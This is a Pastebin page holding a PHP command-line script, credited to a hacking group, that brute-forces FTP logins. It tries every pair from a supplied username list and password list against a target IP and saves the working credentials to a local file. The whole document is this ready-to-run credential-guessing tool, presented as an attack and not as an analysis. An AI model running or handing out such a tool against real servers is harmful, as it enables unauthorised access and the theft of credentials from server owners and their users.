dnsx3

Brute Force FTP Command Line

Feb 14th, 2014
724
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.41 KB | None | 0 0
  1. <?php
  2. print_r("\r\n\r\n
  3. [+]-------------------------------------------[+]
  4. [+] Coder By : Lov3rDns                       [+]
  5. [+] Title    : Brute Force FTP Command Line   [+]
  6. [+] Group    : x3                             [+]
  7. [+] Homepage : is-sec.com - Groupx3.org       [+]
  8. [+] 4U : Mr.Dm4r - xSecurity - Shark Hidden   [+]
  9. [+]-------------------------------------------[+]
  10. [*] Usage : php {$argv[0]} IP users.txt pass.txt\r\n\r\n");
  11.                 // 0       1      2        3
  12. @set_time_limit(0);
  13. if(count($argv)<=3)
  14. {
  15. }
  16. /* FTP */
  17. $host = $argv[1];       // Ip Server
  18. $username = $argv[2];  // users.txt
  19. $password = $argv[3]; // pass.txt
  20.  
  21. $user = explode("\n", file_get_contents($username)); // explode users.txt
  22. $pas = explode("\n", file_get_contents($password)); //  explode pass.txt
  23.  
  24.             function bruteFTP($connect,$host,$users,$pass) // function brute
  25.              {
  26.               /*file_put_contents("ftp.txt",);*/
  27.             $file = @fopen("resultFTP.txt","a+"); // Creates File Name : resultFTP.txt
  28.             $users = @trim($users);              // trim trim trim trim ,, bla bla bla ...
  29.             $pass = @trim($pass);
  30.             echo "[+] Target Server -> ".$host." \r\n[+] Trying Passwords..
  31. \n";
  32.             $connect = @ftp_connect($host) or die("Error , Banned Your IP Address");   // Check Connect FTP or die ( Banned Your Ip )
  33.             $ftplove = @ftp_login($connect,$users,$pass);     // if File Transfer Protocol users.txt pass.txt true or false !!
  34.             if($ftplove)
  35.             {
  36.             echo "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host:  {$host}
  37. \r\n";   // echo ( True [ + ] )
  38.             $resultFTP = "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}\r\n";
  39.             fwrite($file,$resultFTP); // Save the results in a file resultFTP.txt
  40.  
  41.             }else {
  42.     echo "Password is Error !  \n
  43. ";                               // Else ,, Username or Password Is Error ~
  44.   }
  45. }
  46. foreach ($user as $users)
  47. {
  48.  
  49.   foreach ($pas as $pass)
  50.   {
  51.     bruteFTP($connect,$host,$users,$pass);
  52.   }
  53. }
  54.  
  55.  
  56. print_r("\r\n\r\n
  57. [+]-----------------------------------------------------------------[+]
  58.                 Brute Force FTP Command Line
  59.                       Coder By Lov3rDns
  60.                  www.lov3rphp.wordpress.com
  61.                             ./x3
  62.  
  63. [+]-----------------------------------------------------------------[+]
  64. ");
  65. ?>
Advertisement
Add Comment
Please, Sign In to add comment